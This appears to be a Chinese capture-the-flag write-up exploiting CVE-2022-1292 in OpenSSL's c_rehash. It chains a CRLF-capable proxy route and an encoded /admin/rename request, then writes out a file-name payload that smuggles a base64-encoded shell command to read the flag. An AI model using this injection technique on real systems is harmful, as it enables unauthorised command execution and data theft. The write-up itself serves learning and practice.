给出了3个路由/getcrt是生成证书的路径暂时没看出有啥,然后就是createlink调用popen运行了c_rehash,看了一下是perl脚本,上网搜一下发现CVE-2022-1292,没有exp但是漏洞描述是当用户可控文件名时的命令注入,所以现在目标为控制文件名
再看到/proxy路由由用户构造报文,可以crlf,附件中还给了goserver看看源码
可以看到/admin/rename可以控制文件名称Request.URL.RawPath需要我们的路由中存在有编码的内容才有数据,所以尝试构造包
尝试使用$()命令注入,发现修改文件名称成功,接着访问/createlink路由调用c_rehash
/admin/%72%65%6e%61%6d%65?oldname=$(cat%20%252Fflag).crt&newname=$(echo%20%22Y2F0IC9mbGFnID4gZmxhZy50eHQ%3D%22%20%7C%20base64%20-d%20%7C%20bash).crt HTTP/1.1
Host: admin
成功写入flag